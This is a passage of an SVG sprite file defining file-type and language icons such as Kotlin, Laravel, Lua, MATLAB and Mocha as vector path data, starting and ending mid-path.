17.514-2.886 24.804-2.332-.023-4.385.027-6.71-.752zm16.653 1.378c-1.558.357-3.372.014-4.86-.015.7-6.969 2.397-14.659 2.995-21.974 2.342-.073 3.593 1.032 5.52 1.403.102 6.421-.562 15.268-3.655 20.586zm25.215-23.038c4.882 1.186 7.952 7.165 6.586 13.305-.916 4.127-2.548 11.898-4.295 14.538-1.29 1.953-4.79 4.51-7.584 2.72-4.545-2.91-12.552-3.755-15.867-7.278 1.662-5.534 2.178-13.135 2.864-20.146 5.678-.354 12.665 1.562 17.387-.471-3.297-1.068-7.575-1.077-10.423-2.633 2.328-1.125 7.778-.897 11.332-.035zM99.17-18.025c-3.43 8.063-6.543 16.42-11.663 22.918-4.96-3.327-10.423-6.456-11.817-12.497 7.1-4.017 15.379-7.98 23.481-10.422zm8.453 24.971c-.325-8.065-1.245-18.644-3.395-24.965 5.128 6.53 9.263 14.132 13.585 21.534-1.842 2.957-5.693 5.536-10.19 3.431zm-9.582 3.405c-1.943.21-3.592-2.233-6.117-1.177-.58-.64-1.105-1.333-1.695-1.958 5.579-6.723 8.114-16.262 12.423-24.163 2.312 7.59 2.045 15.904 2.555 24.188-3.177-.201-4.94 2.873-7.166 3.11zm-6.161 8.132c-.208-2.303.328-3.056.791-5.695 7.57-2.367 6.248 10.388-.791 5.695zm-8.394 2.755c-3.261 1.782-8.161 3.723-12.374 4.527-5.222.999-4.732-7.123-4.51-11.968.173-3.836 2.168-7.893 3.035-10.441.406-1.19.498-2.453 1.515-2.69 1.798-.418 7.73 1.954 9.42 2.875 3.575 1.95 6.348 5.045 9.384 7.123.04 1.011.078 2.021.119 3.032-1.826.91-3.935 1.555-6.615 1.673 1.818.914 4.492.901 6.148 1.989.016.405.033.81.047 1.21-3.024.234-4.176 1.58-6.17 2.67zm-31.152 5.659c-2.707-2.748 7.592-6.494 10.871-6.696-.018 1.739.991 3.378.788 4.626-3.895.684-9.013.232-11.66 2.07zm33.345-1.29c-.013-.27-.363-.172-.42-.39 3.482-2.722 6.07-3.285 10.81-3.05 2.137 1.551 4.033 3.365 6.259 4.818-5.124-.458-11.574-3.64-16.648-1.379zm30.606-9.282c-.146 3.053-.948 9.332-2.835 10.431-3.961 2.312-11.002-4.668-13.984-5.732.324-.934.86-1.674.901-2.868 1.764.434 3.912.137 5.44-.615-1.767-.198-3.727-.185-4.897-1.027-.429-1.239.105-2.927-.18-4.647 4.196-1.184 8.989-1.814 14.294-1.97 1.032 1.341 1.383 3.896 1.261 6.429zM47.777 24.24c-.85.606-6.6 8.087-7.388 7.777-10.405-4.103-20.134-11.199-28.828-17.91 8.29-17.787 11.635-39.579 12.227-60.582 9.496-4.441 17.836-10.844 30.722-11.512-1.491 10.55-2.852 19.962-3.699 29.895-3.237 1.365-7.882-.062-10.913.423-.025 3.651 4.628 1.6 5.015 4.054.292 1.858-2.56 1.998-1.631 4.923 2.368-.861 3.612-2.763 6.138-3.477 2.309 5.05-.032 13.985.3 18.205.064.792.397 4.39 2.172 3.759 1.57-.559-.09-9.569.082-13.563.157-3.68-.444-7.242 1.046-9.552a355.817 355.817 0 0 0 38.576 3.16c-2.964 1.272-6.485 2.475-10.345 4.651-2.093 1.18-8.69 3.635-9.293 5.622-.964 3.167 2.528 4.855 3.125 7.57-6.285-3.428-7.511 3.286-8.998 8.042-1.347 4.308-2.114 7.526-2.445 10.01-5.414 2.581-11.203 5.195-15.863 8.505zm63.009 6.872c8.67 4.204 10.232-15.711 6.834-22.127.525-1.914 2.331-2.646 3.069-4.366-4.838-8.667-10.211-16.756-15.148-25.32 3.672 2.286 8.917.409 13.238 2.12 1.58.624 2.722 4.24 3.918 7.133 3.29 7.958 6.743 17.99 8.28 25.586.346 1.73 1.292 5.5 1.08 7.04-.378 2.758-4.12 4.803-6.022 6.508-3.506 3.15-5.714 5.921-9.371 8.866-1.483-2.189-4.666-3.66-5.878-5.44zM27.95 107.99c-4.13-4.545-3.266-13.062-2.766-19.121 7.467 4.697 17.377-.372 17.284-8.36 3.565.094 1.332 4.452.687 7.259-2.107 9.169 3.55 19.13.256 27.516-6.395-.485-11.649-3.097-15.46-7.294zm29.558 26.38c-9.352-2.65-21.337-9.446-25.18-17.847 2.976.432 5.041 1.933 7.977 2.119 1.11.072 2.563-.466 3.838-.148 2.54.63 4.685 6.327 6.602 8.447 1.868 2.07 4.114 2.954 5.651 4.841.988.477 2.448.444 2.504 1.927-.428.457-.879.806-1.392.66zm48.681-2.493c-9.707 5.477-26.136 9.596-36.462 4.449-8.331-4.155-19.593-11.027-23.433-19.737 3.587-8.405-1.062-16.106-1.36-24.64-.157-4.54 2.139-8.504 2.315-13.446-1.228-2.025-4.978-2.275-7.574-2.136-.873 4.372-2.403 9.287-6.906 9.78-6.371.697-11.03-4.576-11.319-10.085-.342-6.48 4.978-17.22 12.517-16.475 2.913.287 3.629 3.207 6.802 3.177 1.72-3.432-2.653-4.51-3.103-6.964-.117-.634.363-3.112.642-4.274 1.37-5.658 4.422-12.982 7.427-17.29 3.814-5.464 11.307-6.288 19.37-6.823 1.44 3.101 6.743 2.846 10.2 2.035-4.143 1.64-7.993 5.617-11.185 9.137-3.665 4.039-7.378 8.371-7.566 13.65 6.927-9.61 12.65-18.003 25.246-22.23 9.53-3.196 20.662 1.465 27.986 6.608 3.039 2.137 4.853 5.529 7.013 8.634 8.082 11.626 11.854 28.219 11.024 44.303-.342 6.633-.327 13.244-2.552 17.706-2.326 4.666-10.193 8.84-14.8 4.62-.853 4.537 3.83 7.344 9.331 5.71-3.922 5.063-8.039 11.145-13.614 14.29zm18.084-149.66c7.585 3.77 21.757 10.149 26.512-.014 1.755-3.746 3.814-10.079 4.723-13.946 1.284-5.456-1.392-16.923-7-18.754-4.953-1.617-10.733-1.518-16.7-.32-.702.585-1.484 1.603-2.03 2.665-4.261.165-8.25-.229-11.615-1.98.319-3.15-1.812-3.656-3.81-4.305-1.48-5.872 2.963-13.541 1.9-18.896-.76-3.815-5.453-4.405-8.902-5.118-.113-2.12.15-3.89.386-5.683-.789-2.907-4.327-4.561-7.679-4.967-11.029-1.326-27.775-1.922-38.384 1.893-2.96 7.261-5.292 16.093-7.758 24.384-10.346-1.105-18.715 4.464-26.603 8.113-2.731 1.266-6.51 1.964-7.53 4.138-.99 2.105-.584 6.14-.83 9.95-.625 9.733-1.16 19.12-3.73 29.086-1.154 4.472-3.165 8.418-4.568 12.727C9.358 5.184 7.092 10.12 6.5 14.1c-.877 5.903 4.681 6.232 8.235 8.79 5.494 3.954 9.806 6.142 15.756 9.711 1.762 1.057 7.077 3.733 7.681 4.966 1.202 2.443-2.062 5.888-2.935 7.803-1.38 3.03-2.1 5.602-2.298 8.59-4.992.789-8.775 3.76-11.06 7.109-3.781 5.543-6.403 15.798-3.132 23.599.257.614 1.536 1.822 1.725 2.765.372 1.858-.7 4.329-.768 6.305-.343 10.14 1.716 18.875 8.541 21.932 2.771 11.038 12.688 14.71 22.032 20.195 3.493 2.05 7.343 3.36 11.32 4.824 14.263 5.25 36.15 4.261 47.987-4.692 5.02-3.797 13.044-11.813 15.914-17.617 7.58-15.323 7.042-40.931 1.74-59.571-.712-2.503-1.746-6.181-3.19-9.187-1.006-2.1-4.134-6.3-3.754-8.153.391-1.916 7.132-7.034 8.577-8.428 2.603-2.51 7.548-5.843 7.948-9.012.43-3.372-1.485-7.984-2.456-11.238-3.245-10.858-6.412-20.895-10.091-30.576" fill="#231f20"/><path d="M73.674 57.38c.411.548 2.674 1.38 5.84-.144 0 0-3.752-.626-3.44-6.881l-1.564.313s-1.615 5.672-.836 6.712" fill="#f7e4cd"/><path d="M101.09 3.617a1.72 1.72 0 1 0-3.44.001 1.72 1.72 0 0 0 3.44-.001M102.81-4.355a1.72 1.72 0 1 0-3.44 0 1.72 1.72 0 0 0 3.44 0" fill="#1d1919"/></g><g><rect transform="matrix(.8 0 0 -.8 0 144)" x="16.854" y="177.38" width="70.412" height="4.12" rx=".983" ry=".983"/><rect transform="scale(1 -1)" x="78.502" y="-2.097" width="50.037" height="3.296" rx=".786" ry=".786"/><rect transform="scale(1 -1)" x="13.483" y="-3.697" width="54.831" height="3.296" rx=".786" ry=".786"/><rect transform="scale(1 -1)" x="83.296" y="-3.697" width="45.243" height="3.296" rx=".786" ry=".786"/></g></g></symbol><symbol viewBox="0 0 24 24" id="json" xmlns="http://www.w3.org/2000/svg"><path d="M5 3h2v2H5v5a2 2 0 0 1-2 2 2 2 0 0 1 2 2v5h2v2H5c-1.07-.27-2-.9-2-2v-4a2 2 0 0 0-2-2H0v-2h1a2 2 0 0 0 2-2V5a2 2 0 0 1 2-2m14 0a2 2 0 0 1 2 2v4a2 2 0 0 0 2 2h1v2h-1a2 2 0 0 0-2 2v4a2 2 0 0 1-2 2h-2v-2h2v-5a2 2 0 0 1 2-2 2 2 0 0 1-2-2V5h-2V3h2m-7 12a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m-4 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1m8 0a1 1 0 0 1 1 1 1 1 0 0 1-1 1 1 1 0 0 1-1-1 1 1 0 0 1 1-1z" fill="#fbc02d"/></symbol><symbol viewBox="0 0 50 50" id="julia" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -247)" stroke-width="5.673"><circle cx="13.497" cy="281.632" r="9.555" fill="#bc342d"/><circle cx="36.081" cy="281.632" r="9.555" fill="#864e9f"/><circle cx="24.722" cy="262.389" r="9.555" fill="#328a22"/></g></symbol><symbol viewBox="0 0 64 64" id="karma" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -233)"><path d="M38.556 288.413l-20.29-26.687 9.532-7.246 20.29 26.686h-.001.002l5.527 7.247z" fill="#359b8b" stroke-width=".173"/><path d="M35.681 241.172L24.92 255.327v-14.13H12.947v13.817l7.84 33.235h4.132v-13.147l.003.003 20.29-26.686-.008-.006 5.504-7.24H35.84v.12z" fill="#3cbeae" stroke-width=".206"/></g></symbol><symbol viewBox="0 0 24 24" id="key" xmlns="http://www.w3.org/2000/svg"><path d="M7 14a2 2 0 0 1-2-2 2 2 0 0 1 2-2 2 2 0 0 1 2 2 2 2 0 0 1-2 2m5.65-4A5.99 5.99 0 0 0 7 6a6 6 0 0 0-6 6 6 6 0 0 0 6 6 5.99 5.99 0 0 0 5.65-4H17v4h4v-4h2v-4H12.65z" fill="#26a69a"/></symbol><symbol viewBox="0 0 24 24" id="kivy" xmlns="http://www.w3.org/2000/svg"><g transform="matrix(1.89 0 0 1.89 -12.157 -11.429)" fill="#90a4ae"><path d="M7.026 8.63v4.474l1.928-1.928a.437.437 0 0 0 0-.619zM9.38 16.072v-4.474l-1.927 1.927a.437.437 0 0 0 0 .62zM18.576 10.412l-5.346.564-.017.018 2.39 2.39zM9.922 8.502s.023 3.304-.003 4.452c-.02.856.371 1.114.746 1.507.538.564 1.599 1.57 1.599 1.57a.53.53 0 0 0 .75 0l1.843-1.844a.53.53 0 0 0 0-.75z"/></g></symbol><symbol viewBox="0 0 24 24" id="kl" xmlns="http://www.w3.org/2000/svg"><defs><style>.a{fill:#3aaae1}.b{fill:#fdfeff}</style></defs><title>kl</title><path d="M12.033 1.737c-.25-.003-.5.11-.729.337C8.225 5.15 5.15 8.227 2.078 11.31c-.144.144-.229.346-.341.521v.41c.16.223.294.474.485.666a3259.51 3259.51 0 0 0 8.936 8.937c.193.192.443.325.666.486h.41c.205-.142.436-.256.609-.428 3.046-3.041 6.09-6.083 9.133-9.127.47-.47.472-1.005.006-1.472l-9.218-9.217c-.23-.23-.48-.347-.731-.35zm-1.062 4.545l1.386.832c.702.422 1.403.846 2.109 1.262a.544.544 0 0 1 .04.026l.016.013.017.013c.061.056.089.123.088.224a510.281 510.281 0 0 0 0 3.794.463.463 0 0 1-.007.094c-.015.069-.054.103-.142.109a.464.464 0 0 1-.044.002c-.045-.002-.09-.002-.136-.003-.323-.006-.648-.001-.998-.001v-.527-1.34-.671-.003l.004-.668c0-.147-.039-.231-.17-.308-.893-.528-1.78-1.066-2.67-1.6-.051-.03-.101-.065-.173-.111l.001-.003h-.001zm.362 3.39c.068-.003.119.043.173.138.085.148.174.293.264.44l.015.025c.096.154.194.31.292.47l-1.915 1.176c-.337.207-.673.417-1.014.617-.113.067-.154.143-.154.277.01.977.01 1.955.014 2.932V16H7.7V16h-.002c-.004-.053-.014-.112-.014-.17-.005-1.25-.006-2.501-.015-3.751 0-.142.045-.222.164-.294a467.13 467.13 0 0 0 3.353-2.054l.016-.01a.606.606 0 0 1 .032-.017l.016-.008a.308.308 0 0 1 .033-.013l.012-.004a.157.157 0 0 1 .028-.005l.01-.001zm5.677 3.126l.314.54.346.594v.001c-.158.094-.298.178-.438.259l-3.097 1.798c-.106.062-.189.071-.3.01l-.893-.496-1.524-.843-.895-.493c-.035-.02-.068-.044-.129-.085h.001l.137-.25.495-.902 1.446.795c.442.243.886.483 1.323.734.121.07.212.072.334 0 .894-.525 1.792-1.043 2.689-1.563.057-.034.118-.061.191-.1z" fill="#29b6f6" stroke-width=".041"/></symbol><symbol viewBox="0 0 24 24" id="kotlin" xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="gpb"><stop offset="0" stop-color="#cb55c0"/><stop offset="1" stop-color="#f28e0e"/></linearGradient><linearGradient id="gpa"><stop offset="0" stop-color="#0296d8"/><stop offset="1" stop-color="#8371d9"/></linearGradient><linearGradient xlink:href="#gpa" id="gpc" x1="1.725" y1="22.67" x2="22.185" y2="1.982" gradientUnits="userSpaceOnUse" gradientTransform="translate(1.638 1.155) scale(.89324)"/><linearGradient xlink:href="#gpb" id="gpd" x1="1.869" y1="22.382" x2="22.798" y2="3.377" gradientUnits="userSpaceOnUse" gradientTransform="translate(1.638 1.155) scale(.89324)"/></defs><path d="M3.307 3.003v18.048h18.05v-.03L16.88 16.51l-4.48-4.515 4.48-4.515 4.443-4.477H3.307z" fill="url(#gpc)"/><path d="M12.538 3.003l-9.23 9.23v8.818h.083l9.032-9.032-.025-.024 4.48-4.515 4.444-4.477h-8.784z" fill="url(#gpd)"/></symbol><symbol viewBox="0 0 240 240" id="laravel" xmlns="http://www.w3.org/2000/svg"><path d="M216.05 119.036c-1.433.343-24.945 6.673-24.945 6.673l-19.227-28.622c-.537-.828-.99-1.656.359-1.849 1.345-.196 23.195-4.477 24.182-4.723.99-.245 1.837-.536 3.053 1.267 1.21 1.8 17.836 24.626 18.464 25.506.627.877-.447 1.41-1.883 1.748m-4.101 49.326c.588 1.003 1.176 1.64-.67 2.367-1.843.73-62.243 22.847-63.418 23.39-1.173.546-2.092.73-3.607-1.637-1.51-2.362-21.16-39.264-21.16-39.264l64.03-18.075c1.876-.644 2.317-.405 3.103.822 1.074 1.68 21.143 31.403 21.726 32.4m-103.7-21.087c-.78.202-37.566 9.733-39.525 10.22-1.965.485-1.965.246-2.188-.49-.226-.727-43.728-98.053-44.333-99.271-.605-1.214-.574-2.177 0-2.177.571 0 34.734-3.313 35.944-3.383 1.207-.07 1.08.205 1.526 1.033l49.025 91.818c.84 1.58 1.239 1.81-.452 2.248m94.588-59.77c-3.5-4.58-5.2-3.751-7.357-3.41-2.154.336-27.277 4.915-30.194 5.449-2.918.536-4.758 1.803-2.963 4.53 1.597 2.422 18.113 27.824 21.751 33.42l-65.663 17.066L66.18 49.832c-2.075-3.342-2.507-4.514-7.236-4.28-4.735.23-40.969 3.495-43.55 3.731-2.58.233-5.416 1.479-2.835 8.09 2.583 6.612 43.734 102.82 44.88 105.62 1.149 2.803 4.128 7.345 11.11 5.527 7.157-1.871 31.969-8.894 45.52-12.742 7.163 14.07 21.77 42.619 24.473 46.707 3.607 5.459 6.089 4.56 11.626 2.738 4.325-1.42 67.65-26.129 70.502-27.4 2.855-1.273 4.613-2.184 2.685-5.275-1.419-2.28-18.124-26.558-26.876-39.26 5.993-1.733 27.305-7.888 29.575-8.557 2.646-.779 3.008-2.19 1.572-3.94-1.436-1.755-21.293-28.72-24.79-33.296z" fill="#ff5722" stroke="#ff5722" stroke-width="8.852" fill-rule="evenodd"/></symbol><symbol viewBox="0 0 24 24" id="less" xmlns="http://www.w3.org/2000/svg"><path d="M13.696 2.999V5h2.002v5a2 2 0 0 0 1.999 2 2 2 0 0 0-2 2v5h-2v2h2a2 2 0 0 0 2-2v-4a2 2 0 0 1 2-2h1V11h-1a2 2 0 0 1-2-2V5a2 2 0 0 0-2-2.001zm-.03 12.766v.47a1 1 0 0 0 .03-.236 1 1 0 0 0-.03-.234zM10.566 21v-2.001H8.565v-5a2 2 0 0 0-2-2 2 2 0 0 0 2-2V5h2.001v-2H8.565a2 2 0 0 0-2 2v4a2 2 0 0 1-2 2h-.999V13h1a2 2 0 0 1 2 2v3.999A2 2 0 0 0 8.564 21zm.03-12.766v-.47a1 1 0 0 0-.03.236 1 1 0 0 0 .03.234z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" id="lib" xmlns="http://www.w3.org/2000/svg"><path d="M19 7H9V5h10m-4 10H9v-2h6m4-2H9V9h10m1-7H8a2 2 0 0 0-2 2v12a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2M4 6H2v14a2 2 0 0 0 2 2h14v-2H4V6z" fill="#8bc34a"/></symbol><symbol viewBox="0 0 40 40" id="livescript" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -257)" fill="#317eac"><path stroke-width="3.299" d="M5.419 260.18h3.685v34.207H5.419z"/><path stroke-width="3.299" d="M37.074 288.197v3.685H2.867v-3.685z"/><path stroke-width="2.894" d="M29.612 265.658l2.004 2.005L7.428 291.85l-2.004-2.005z"/><path stroke-width="2.325" d="M10.73 262.471h2.835v22.08H10.73z"/><path stroke-width="2.063" d="M15.36 262.519h2.835v17.382H15.36z"/><path stroke-width="1.77" d="M19.99 262.471h2.835v12.802H19.99z"/><path stroke-width="1.422" d="M24.526 262.491h2.835v8.254h-2.835z"/><path stroke-width="1.128" d="M28.783 262.463h2.835v5.197h-2.835z"/><path stroke-width="2.325" d="M34.801 286.545v-2.835h-22.08v2.835z"/><path stroke-width="2.063" d="M34.753 281.914v-2.835H17.371v2.835z"/><path stroke-width="1.77" d="M34.801 277.284v-2.835H21.999v2.835z"/><path stroke-width="1.422" d="M34.781 272.749v-2.835h-8.254v2.835z"/><path stroke-width="1.128" d="M34.809 268.492v-2.835h-5.197v2.835z"/></g></symbol><symbol viewBox="0 0 24 24" id="lock" xmlns="http://www.w3.org/2000/svg"><path d="M12 17a2 2 0 0 0 2-2 2 2 0 0 0-2-2 2 2 0 0 0-2 2 2 2 0 0 0 2 2m6-9a2 2 0 0 1 2 2v10a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V10a2 2 0 0 1 2-2h1V6a5 5 0 0 1 5-5 5 5 0 0 1 5 5v2h1m-6-5a3 3 0 0 0-3 3v2h6V6a3 3 0 0 0-3-3z" fill="#ffd54f"/></symbol><symbol viewBox="0 0 24 24" id="lua" xmlns="http://www.w3.org/2000/svg"><circle cx="12.203" cy="12.102" r="10.322" fill="none" stroke="#42a5f5"/><path d="M12.33 5.746a6.483 6.381 0 0 0-6.482 6.381 6.483 6.381 0 0 0 6.482 6.38 6.483 6.381 0 0 0 6.484-6.38 6.483 6.381 0 0 0-6.484-6.38zm1.86 1.916a2.329 2.292 0 0 1 2.33 2.293 2.329 2.292 0 0 1-2.33 2.291 2.329 2.292 0 0 1-2.329-2.29 2.329 2.292 0 0 1 2.328-2.294z" fill="#42a5f5" fill-rule="evenodd"/><ellipse cy="4.615" cx="19.631" rx="2.329" ry="2.292" fill="#42a5f5" fill-rule="evenodd"/></symbol><symbol viewBox="0 0 24 24" id="markdown" xmlns="http://www.w3.org/2000/svg"><path d="M2 16V8h2l3 3 3-3h2v8h-2v-5.17l-3 3-3-3V16H2m14-8h3v4h2.5l-4 4.5-4-4.5H16V8z" fill="#42a5f5"/></symbol><symbol viewBox="0 0 24 24" preserveAspectRatio="xMidYMid" id="markojs" xmlns="http://www.w3.org/2000/svg"><g transform="translate(0 -120.96)" stroke-width=".984"><path d="M4.002 126.482c-.655 1.07-1.32 2.14-1.976 3.21-.655 1.06-1.308 2.142-1.963 3.212l.002.002-.002.002c.655 1.07 1.308 2.15 1.963 3.211.655 1.07 1.32 2.141 1.976 3.211h3.33c-.664-1.07-1.318-2.14-1.974-3.21-.653-1.069-1.307-2.145-1.961-3.214.654-1.068 1.308-2.146 1.961-3.215a601.93 601.93 0 0 1 1.974-3.209z" fill="#2196f3"/><path d="M3.999 126.482l-.002.002c.655 1.07 1.31 2.15 1.964 3.212.655 1.07 1.32 2.14 1.974 3.21h3.331c-.664-1.07-1.319-2.14-1.974-3.21-.653-1.068-1.306-2.146-1.96-3.214z" fill="#26a69a"/><path d="M15.203 126.482l.002.002c-.655 1.07-1.31 2.15-1.965 3.212-.655 1.07-1.319 2.14-1.974 3.21h-3.33c.664-1.07 1.318-2.14 1.973-3.21.654-1.069 1.307-2.146 1.961-3.214z" fill="#8bc34a"/><path d="M11.874 126.484c.664 1.07 1.318 2.14 1.974 3.21.653 1.068 1.307 2.146 1.961 3.214-.654 1.069-1.308 2.145-1.961 3.213-.656 1.07-1.31 2.14-1.974 3.21h3.33c.655-1.07 1.319-2.14 1.974-3.21.655-1.06 1.31-2.14 1.966-3.21l-.002-.003.002-.002c-.656-1.07-1.311-2.152-1.966-3.213-.655-1.07-1.319-2.138-1.974-3.209z" fill="#ffc107"/><path d="M16.74 126.482c.665 1.07 1.319 2.14 1.974 3.21.654 1.068 1.306 2.146 1.96 3.214-.654 1.069-1.306 2.145-1.96 3.213-.655 1.07-1.31 2.141-1.974 3.211h3.33c.656-1.07 1.32-2.14 1.974-3.21.655-1.062 1.31-2.141 1.966-3.212l-.002-.002.002-.002c-.655-1.07-1.31-2.152-1.966-3.213-.655-1.07-1.318-2.138-1.973-3.209z" fill="#f44336"/></g></symbol><symbol viewBox="0 0 23 24" id="mathematica" xmlns="http://www.w3.org/2000/svg"><path d="M11.512 1.523l-.073.025-.46.794-.454.763-1.217 2.09H9.29L5.435 3.5l-.1-.047h-.018v.092l.025.163v.086l.132 1.226v.082l.032.252v.082l.22 2.137v.075l.018.082v.06l-2.348.507-.04.015-.457.1-.025.01h-.042l-1.096.244-.04.007-.17.036v.082l.018.01 1.859 2.086.053.052.114.132.804.909v.005l-.053.05-.22.257-2.564 2.875-.01.007v.082l.071.006.295.075 1.697.366v.006l2.139.472h.015v.047l-.036.252v.08l-.046.412v.082l-.036.244v.082l-.045.412v.08l-.05.41v.08l-.036.244v.082l-.046.412v.082l-.05.407v.082l-.032.248V20l-.05.407v.104h.037l3.642-1.6.294-.134h.018l.177.312.539.911.015.032.854 1.465.16.262.404.695.007.022h.092l.005-.022.017-.025.56-.947.014-.042.6-1.033.316-.539.644-1.091.05.013 3.906 1.721h.035v-.085l-.138-1.32v-.082l-.032-.244v-.082l-.035-.245v-.085l-.033-.244v-.081l-.032-.245v-.082l-.032-.244v-.085l-.035-.245v-.082l-.032-.245v-.082l-.033-.244v-.085l-.025-.17v-.053l1.632-.354.043-.008.458-.107h.028v-.01l.23-.05.03-.01h.042l.382-.09.025-.01h.043l.194-.05h.033l1.015-.23.07-.007v-.064l-.015-.013-1.19-1.342-.028-.028-.197-.22-1.428-1.604v-.006l.295-.323.4-.457 2.148-2.408.015-.01v-.065l-.035-.008-1.288-.28-.372-.084-.047-.01-2.481-.544v-.045l.432-4.265v-.02h-.042l-.302.135-.01.014h-.025l-3.307 1.45-.297.135h-.015l-2.028-3.483-.099-.145-.014-.045zm-.001 1.114l1.365 2.323.34.592-.008.025-1.18 1.511-.517.66-.012-.01-.258-.335-.04-.05-1.397-1.787.03-.063 1.378-2.365.287-.491zm4.908 2.039l-.007.025-.168.225-.538.066zm-9.817.004l.053.02.677.3h-.499l-.224-.3zM16.947 5l-.123 1.248-.113-.928.226-.307zm-9.26.156l.053.024.705.309-.757-.175zm7.388.116l.02.168-1.318.403.003-.003.16-.071 1.015-.444zM9.669 6.388l.944 1.204v.01L9.483 7.2zm3.55.172l.21.682-.234.084-.089.022-.702.255.008-.022.776-.982zm-5 .836l.986.356.898.312.048.02 1.054.373.011 3.086-.362-.117-.67-.224-.081-.038-.735-.245-.77-.256-.29-.1-.011-.255-.032-1.195-.01-.287-.015-.894-.013-.297zm6.583 0l-.011.227-.028.9-.008.303-.032 1.475-.01.262-.337.117-.734.245-.77.256-.712.245-.355.117.01-3.086 1.632-.578zm.585.437l.09.735.79-.097-.915 1.302-.018.006.01-.183.018-.877zm-9.451.536l.152.22 1.447 2.049-2.607.968-.05.015-1.972-2.214-.28-.312.003-.01.115-.018.424-.1.14-.021.337-.078.042-.01zm11.146.003l3.284.713.029.01-.022.025-1.954 2.192-.277.312-.092-.036-2.564-.95.475-.681.152-.216zM6.787 8.52h.86l.036 1.258-.013-.006-.763-1.078zm1.358 2.625l.152.06.77.252.712.245.746.247.49.167-.065.092-1.723 2.334-1.015-.302-.082-.017-.035-.015-1.902-.56.938-1.22.981-1.277zm6.73 0l.033.006 1.787 2.327.132.17-.128.036-.032.014-2.196.642-.105.032-.564.17-.018-.003-1.053-1.44-.174-.239-.547-.726-.007-.018.469-.16.769-.254.713-.245.77-.252zm-7.766.305l-.007.02-.405.523-.291-.291.657-.245zm8.802 0l.043.007.578.212.714.27-.661.394-.375-.479-.03-.042-.262-.342zm-10.843.75l-.67.668.355-.397.207-.23zm12.911.016l.068.025.045.042.554.627.042.043.204.228-.255.135zm-6.473.265l.022.015 1.38 1.872.032.05.343.465.008.031-.088.117-.422.629-.047.074-.245.343-.97 1.43-.013.007-1.18-1.72-.096-.16-.493-.708-.008-.037 1.618-2.191.007-.01zm7.827 1.194l.565.633.063.082-.272-.093-.037-.013zm-15.785.148l.297.299-.637.218-.152.05.038-.058zm13.224.47l-.855.448.346.66-.185-.058-.27-.088-1.092-.348.012-.01zm-9.687.255l1.222.356-.006.007-.458.145-.443.135-.032.01-.49.157zm-2.765.048l.318.32 2.007.517-.567.18-.055.004-2.103-.469-.744-.156.007-.006zm14.966.205l.548.188v.003l-.457.1-.043.014-1.069.23zm-10.23.507l.007.227.01.347.025 1.363.025.691-.007.255-.24.107-2.863 1.255.032-.372.033-.255.017-.227.031-.256.037-.407.045-.42.018-.23.032-.251.032-.412.05-.414.013-.14 1.455-.457.003-.014.301-.098zm4.908 0l1.245.39v.014l.312.1 1.146.362.022.23.03.255.043.408.04.42.017.23.033.251.032.412.042.325.078.848-.078-.04-3.025-1.322-.004-.305.06-2.368zm-4.295.617l.015.007.067.107.6.875-.64.531-.034-1.438zm3.671 0h.008l-.005.06-.02.678-.005.214-.479-.223zm-2.888 3.605l.763.915.001.37-.017-.006-.025-.05-.464-.791-.012-.018zm1.53.61l.184.083-.343.586-.018.007.002-.532z" fill="#f44336" fill-rule="evenodd" stroke="#f44336" stroke-width=".7747499999999999" stroke-linejoin="round"/></symbol><symbol viewBox="0 0 720 720" id="matlab" xmlns="http://www.w3.org/2000/svg"><title>Layer 1</title><path d="M209.247 329.98L52.368 387.638l121.325 85.822 96.752-95.804-61.198-47.674z" fill="#4db6ac" fill-rule="evenodd" stroke-width=".3"/><path d="M480.193 71.446c-13.123 1.784-9.565 1.013-28.4 16.09-18.008 14.418-69.925 100.347-97.673 129.256-24.688 25.722-34.46 12.199-60.102 33.661-25.68 21.494-65.273 64.464-65.273 64.464l63.978 47.32L394.15 222.754c23.948-32.932 23.694-37.266 36.744-71.82 6.384-16.907 17.76-29.9 27.756-45.809 12.488-19.874 30.186-34.855 21.543-33.68z" fill="#00897b" fill-rule="evenodd" stroke-width=".3"/><path d="M478.206 69.796c-31.268-.189-62.068 137.245-115.56 242.691-54.543 107.519-162.235 176.82-162.235 176.82 18.156 8.243 34.681 4.91 54.236 23.394 13.375 16.164 52.09 95.976 75.174 146.117 0 0 18.964-10.297 42.994-27.695 24.03-17.397 53.124-41.896 73.384-70.3 26.883-37.692 47.897-61.043 65.703-75.271 17.806-14.23 32.404-19.336 46.458-20.54 50.238-4.305 124.582 85.792 124.582 85.792S527.267 70.09 478.206 69.796z" fill="#ffb74d" fill-rule="evenodd" stroke-width=".3"/></symbol><symbol viewBox="0 0 24 24" id="merlin" xmlns="http://www.w3.org/2000/svg"><text style="line-height:1.25;-inkscape-font-specification:'Century Gothic Bold'" x="1.953" y="21.178" transform="scale(.99582 1.0042)" font-weight="700" font-size="30.255" font-family="Century Gothic" letter-spacing="0" word-spacing="0" fill="#42a5f5" stroke-width=".756"><tspan x="1.953" y="21.178" style="-inkscape-font-specification:'Century Gothic Bold'" font-size="22.745">M</tspan></text></symbol><symbol viewBox="0 0 192 191.99999" id="mocha" xmlns="http://www.w3.org/2000/svg"><title>Mocha Logo</title><g transform="translate(-354.75 -262.42) scale(4.835)" fill="#a1887f"><path d="M103.6 69.6c0-.5-.4-1-1-1H83.8c-.5 0-1 .4-1 1 0 3.4.5 15.1 5.5 20.8.2.2.4.3.7.3h8.4c.3 0 .5-.1.7-.3 5-5.6 5.5-17.3 5.5-20.8zm-7.4 18.2h-5.9c-.3 0-.5-.1-.7-.3-3.4-4-3.8-12-3.9-14.8 0-.5.4-1 1-1h13.2c.5 0 1 .4 1 1 0 2.8-.5 10.7-3.9 14.8-.3.2-.5.3-.8.3zM95.1 66.6s3.6-2.1 1.4-5.9c-1.3-2-1.9-3.7-1.4-4.4-1.3 1.6-3.5 3.3-1.1 6.9.8.9 1.2 2.8 1.1 3.4zM91.1 66.9s2.4-1.4.9-4c-.9-1.3-1.3-2.5-.9-2.9-.9 1.1-2.3 2.2-.7 4.7.5.5.7 1.8.7 